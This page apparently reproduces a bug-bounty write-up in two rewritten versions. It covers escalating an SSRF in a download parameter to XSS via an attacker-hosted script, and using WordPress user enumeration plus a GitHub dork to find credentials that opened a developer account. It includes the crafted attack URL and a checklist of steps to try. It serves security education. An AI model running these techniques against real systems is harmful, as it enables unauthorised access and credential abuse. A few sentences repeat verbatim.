Skip to content
SSRF Write-up Intermediate

Chaining bugs for better bounties

The author describes two bug chains: an SSRF in a download endpoint that was escalated to XSS by redirecting to an attacker-controlled server hosting a script, and a WordPress user enumeration endpoint whose disclosed usernames were used to find a GitHub repository with default credentials. The first chain increased the impact of a low-impact SSRF, and the second led to account access and a bounty.

Manas Harsh Follow

Published on manasharsh.medium.com

Bounty$600total stated by author View original

Chaining some low level bugs to a higher level is always fun and challenging at the same time and best thing is you get higher reward if you do it successfully. I had always an idea to write a blog on it but I was waiting for some personal scenarios to explain it better and now I feel this is the right time to talk…

Manas Harsh, on manasharsh.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

This is a short write-up about chaining low-severity findings into something that pays better, illustrated with two personal scenarios. The first involves a file upload and download feature: after you download a file, the application hands you a URL that carries the download path as a parameter. The second involves a WordPress subdomain of a well-known target, where the REST users endpoint exposed staff names and IDs that were then used to find a GitHub repository with default credentials.

The author's framing is that many low-level bugs that were accepted in 2015 to 2018 are out of scope now, so the point of a finding like an SSRF or an exposed user list is to ask what else can be done with it. The report does not name the first target, and the second is described only as a well-known organisation with more than 400 accepted bugs.

Setup

No accounts, roles, versions or tooling are listed for the first scenario beyond the fact that the researcher hosted a server of his own. For the second, the only tool mentioned is a GitHub search dork. The author notes that the first scenario took a good deal of time because of repeated errors on his own server, and that the redirection had to be set up properly and the execution had to be accurate.

Finding it

Scenario one: SSRF behind a download URL

The feature let users upload files and download them again. Downloading produced a URL of this shape:

Text
https://target.com/user/public?downloadpath=https://vuln.com

The downloadpath parameter was fetched server-side, which gave an SSRF. Its impact on its own was low: the only observable effect was a hit on a Collaborator server, and nothing further could be done with it. The author's reasoning was that redirecting the target URL to a server he controlled would make the SSRF more meaningful. He also notes that URL redirections are not accepted in many programmes these days, so the chain had to be built carefully.

Scenario two: user enumeration on a WordPress subdomain

While looking around a well-known target without a specific bug in mind, he found the WordPress REST endpoint below on a subdomain:

Text
/wp-json/wp/v2/users

On its own this is not a bug and he explicitly says not to report it just to increase a report count. The endpoint returns names and IDs along with other data. The idea was to take a username from that response and look for the same person on the organisation's GitHub.

Exploitation

Step 1: confirm the server-side fetch

The downloadpath parameter was set to a host under the researcher's control. The application fetched it from the server, producing a hit on the Collaborator server. That confirmed SSRF but gave nothing else.

Step 2: host a payload and redirect to it

He hosted his own server, placed an XSS script on it, and pointed the target URL at that server:

Text
https://target.com/user/public/downloadpath=https://ownserver.com/xss.html

Anyone visiting the crafted URL would get a popup, which the author treats as an XSS. Anyone visiting the crafted URL would get a popup, and the author notes there could be multiple scenarios for an XSS at that point. The vulnerability was accepted as low to medium, but the chain increased the impact.

Source: Google From the original on manasharsh.medium.com

The image is captioned "Source: Google" and sits right after the description of the popup, illustrating the XSS result.

Step 3: search GitHub for the enumerated user

With a username from the users endpoint, he ran this dork against the organisation's GitHub:

Text
Org:target "username"

A repository belonging to that person turned up, and it contained default credentials. They were not admin:admin, but they were enough to log in to the account. The account had no special privileges; the person was a developer. The finding was reported and accepted for 600 USD.

Root cause

The first scenario is a server-side request forgery: the application takes a user-supplied URL in downloadpath and fetches it from the server. By pointing the fetch at his own server with an XSS script, the author turned it into an XSS. The report does not describe the validation or filtering that was or was not present, so the exact defensive gap is not stated.

The second scenario is information disclosure: the WordPress REST users endpoint exposes names and IDs. The escalation came from outside the application, when a real person's public repository contained working default credentials for an account on the target.

Impact

In the first case, anyone visiting the crafted URL would get a popup, which the author treats as an XSS. The author is careful to say the bug was accepted as low to medium and that the chain raised the impact rather than claiming a specific severity.

In the second case, the exposed user list allowed a real person to be identified and their public code searched, which led to credentials that gave access to a developer account. The account had no elevated privileges, so the practical reach was limited to what that developer could do. The bounty was 600 USD.

Fix

Variants to test

  1. Any endpoint that takes a URL parameter and fetches it server-side: point it at a host you control and watch for an out-of-band hit. A positive result is a request arriving from the target's infrastructure.
  2. The same endpoint with a redirect on your server to a page containing script: a positive result is the script executing in the target's origin, which turns the SSRF into XSS.
  3. WordPress sites for /wp-json/wp/v2/users: a positive result is a list of names and IDs returned without authentication. Treat it as a lead, not a finding.
  4. Take each enumerated username and search the organisation's GitHub with Org:target "username". A positive result is a repository belonging to that person that contains credentials, which you then test only against the account it belongs to.
  5. File upload features generally: try changing extensions and adding extra extensions to see whether a script can be uploaded, as the author suggests for escalation practice.
  6. URLs with default parameters: keep an eye on them across endpoints, since the author notes they are helpful for escalating SSRFs.
  7. DOM values inside an application: look for DOM XSS, which the author describes as trickier to escalate but higher paying, and sometimes sitewide when DOM manipulation is involved.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

What happened, in plain words

This is a story about turning small, boring security findings into something that pays. The author, Manas Harsh, describes two real cases. In the first, a file download feature let him make the target's server fetch a web address of his choosing. On its own that was a low-impact bug called SSRF. By redirecting the target URL to his own server hosting a script, he turned it into an XSS. In the second case, a WordPress subdomain listed staff usernames. He searched GitHub for one of those usernames, found a public repository with default credentials, and used them to log in to a developer account. That one was accepted for 600 USD.

The bigger lesson is about mindset. Many low-level bugs that were accepted in 2015 to 2018 are out of scope now, so when you find something small, ask what else you can do with it. The author recommends learning some programming so you understand how code flows, because that helps you chain bugs. He also warns that URL redirections are not accepted in many programmes these days, so the chain has to be built carefully.

The first scenario: a download link that fetches other sites

The feature let users upload files and download them again. After you download a file, the application gives you a URL that carries the download path as a parameter. It looked like this:

Text
https://target.com/user/public?downloadpath=https://vuln.com

Let us break that down. https://target.com/ is the website. /user/public is a page on that site. The ? starts the query string, which is a list of settings passed to the page. downloadpath= is the name of one setting, and https://vuln.com is its value. In plain terms, the page is being told: "the file to download lives at this address".

The important part is who does the fetching. Normally your browser would go to https://vuln.com and download the file. Here, the target's own server goes and fetches that address instead, then hands the result back to you. That is what makes it an SSRF, short for Server-Side Request Forgery: you are forging a request that the server makes on your behalf. Think of it like asking a hotel concierge to fetch a package from an address you name. The concierge has access to parts of the building you cannot reach, so the request comes from inside.

On its own the impact was low. The only thing the author could observe was a hit on a Collaborator server. A Collaborator server is a service you control that records any request arriving at it, so you can prove the target's server really did make the call. A hit proves the server fetched your address, but nothing more. He could not read files, reach internal systems, or do anything else useful.

So he asked what else could be done. His idea: if the server-side fetch could be pointed at a server he controlled, and that server answered with a redirect, the result would be more meaningful than a bare out-of-band interaction. A redirect is an HTTP response that tells the client "do not use this page, go to this other address instead". Browsers follow redirects all the time, and so do many server-side fetchers.

He hosted his own server, placed an XSS script on it, and pointed the target URL at that server:

Text
https://target.com/user/public/downloadpath=https://ownserver.com/xss.html

Line by line: https://target.com/user/public/downloadpath= is the target's download page with its downloadpath setting. https://ownserver.com/xss.html is the address of a page on the author's own server. That page contains a script, which is a small program the browser runs. Anyone visiting the crafted URL would get a popup, which the author treats as an XSS. Anyone visiting the crafted URL would get a popup, and the author notes there could be multiple scenarios for an XSS at that point.

XSS stands for Cross-Site Scripting. It means an attacker gets their own JavaScript to run inside a victim's browser as if it came from the target website. JavaScript is the programming language browsers use to make pages interactive. If an attacker's script runs in the target's origin, it can act as the logged-in user or change what the page shows, and may read cookies that are not protected. A cookie is a small piece of data a site stores in your browser to remember who you are; stealing one can let an attacker take over a session. The popup in this case is just visible proof that script ran.

Source: Google From the original on manasharsh.medium.com

The image is captioned "Source: Google" and sits right after the description of the popup, illustrating the XSS result. The vulnerability was accepted as low to medium, but the chain increased the impact.

The second scenario: a user list that led to GitHub

The author was looking around a well-known target without a specific bug in mind. More than 400 bugs had already been accepted on that programme. On a subdomain he found this WordPress endpoint:

Text
/wp-json/wp/v2/users

WordPress is a popular system for building websites. It has a feature called the REST API, which lets other programs ask the site for data in a structured way. An API is simply a way for two programs to talk to each other, like a waiter taking your order to the kitchen and bringing back a dish. The path /wp-json/wp/v2/users is one of those API addresses: it asks WordPress for its list of users. The response includes names and IDs along with other data.

On its own this is not a bug, and the author explicitly says not to report it just to increase a report count. Many WordPress sites expose this list by design. The value is as a lead: you now have real usernames.

His idea was to take a username from that response and look for the same person on the organisation's GitHub. GitHub is a website where developers store and share code. Many people use the same username across services, and public repositories sometimes contain things that should not be public. He ran this search, called a dork:

Text
Org:target "username"

A dork is a search query crafted to find specific information. Here, Org:target restricts the search to repositories belonging to the organisation called target, and "username" looks for that exact word. A repository, or repo, is a project folder stored on GitHub. The search turned up a repository belonging to that person, and it contained default credentials. Default credentials are the username and password a system ships with before anyone changes them, like a new router that comes with admin as both username and password. They were not admin:admin, but they were enough to log in to the account. The account had no special privileges; the person was a developer. The finding was reported and accepted for 600 USD.

Why the chains worked

In the first case, the application takes a user-supplied URL in downloadpath and fetches it from the server. By redirecting the fetch to his own server with an XSS script, the author turned it into an XSS. The report does not describe the validation or filtering that was or was not present, so the exact defensive gap is not stated.

In the second case, the WordPress REST users endpoint exposes names and IDs. That is information disclosure by design. The escalation came from outside the application, when a real person's public repository contained working default credentials for an account on the target.

What the impact was

In the first case, anyone visiting the crafted URL would get a popup, which the author treats as an XSS. The author is careful to say the bug was accepted as low to medium and that the chain raised the impact rather than claiming a specific severity.

In the second case, the exposed user list allowed a real person to be identified and their public code searched, which led to credentials that gave access to a developer account. The account had no elevated privileges, so the practical reach was limited to what that developer could do. The bounty was 600 USD.

What could be fixed

The report does not say what either organisation changed.

Things to try yourself

  1. Any endpoint that takes a URL parameter and fetches it server-side: point it at a host you control and watch for an out-of-band hit. A positive result is a request arriving from the target's infrastructure.
  2. The same endpoint with a redirect on your server to a page containing script: a positive result is the script executing in the target's origin, which turns the SSRF into XSS.
  3. WordPress sites for /wp-json/wp/v2/users: a positive result is a list of names and IDs returned without authentication. Treat it as a lead, not a finding.
  4. Take each enumerated username and search the organisation's GitHub with Org:target "username". A positive result is a repository belonging to that person that contains credentials, which you then test only against the account it belongs to.
  5. File upload features generally: try changing extensions and adding extra extensions to see whether a script can be uploaded, as the author suggests for escalation practice. An extension is the part of a filename after the dot, like .jpg or .php, and it tells the server what kind of file it is.
  6. URLs with default parameters: keep an eye on them across endpoints, since the author notes they are helpful for escalating SSRFs. A default parameter is one the application uses even if you do not supply it, and it can sometimes be overridden.
  7. DOM values inside an application: look for DOM XSS, which the author describes as trickier to escalate but higher paying, and sometimes sitewide when DOM manipulation is involved. The DOM is the browser's in-memory model of the page; DOM XSS happens when a script reads something from the page and writes it back somewhere dangerous without proper checks.

Glossary

  • API: a way for two programs to talk to each other, like a waiter taking your order to the kitchen and bringing back a dish.
  • Collaborator server: a service you control that records any request arriving at it, used to prove a target's server made a call.
  • Cookie: a small piece of data a site stores in your browser to remember who you are.
  • Credentials: a username and password used to log in.
  • Default credentials: the username and password a system ships with before anyone changes them.
  • DOM: the browser's in-memory model of the page.
  • DOM XSS: XSS that happens when a script reads something from the page and writes it back somewhere dangerous without proper checks.
  • Dork: a search query crafted to find specific information.
  • Extension: the part of a filename after the dot, like .jpg or .php, which tells the server what kind of file it is.
  • GitHub: a website where developers store and share code.
  • HTTP: the language browsers and servers use to exchange requests and responses.
  • Information disclosure: a bug where a system reveals data it should not.
  • JavaScript: the programming language browsers use to make pages interactive.
  • Origin: the combination of scheme, host and port that a page belongs to; scripts from one origin cannot normally read data from another.
  • Out-of-band: a signal that arrives through a different channel than the main response, such as a hit on your own server.
  • Parameter: a named setting passed to a page or API, like downloadpath in a URL.
  • Redirect: an HTTP response that tells the client to go to a different address instead.
  • Repository (repo): a project folder stored on GitHub.
  • REST API: a style of API that uses web addresses and standard HTTP methods to exchange data.
  • Script: a small program, usually JavaScript in a browser.
  • SSRF (Server-Side Request Forgery): a bug where you make a server fetch an address of your choosing.
  • Subdomain: a prefix on a domain name, like blog in blog.example.com.
  • URL: a web address.
  • WordPress: a popular system for building websites.
  • XSS (Cross-Site Scripting): a bug where an attacker gets their own JavaScript to run inside a victim's browser as if it came from the target website.

More by Manas Harsh

View all

5 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.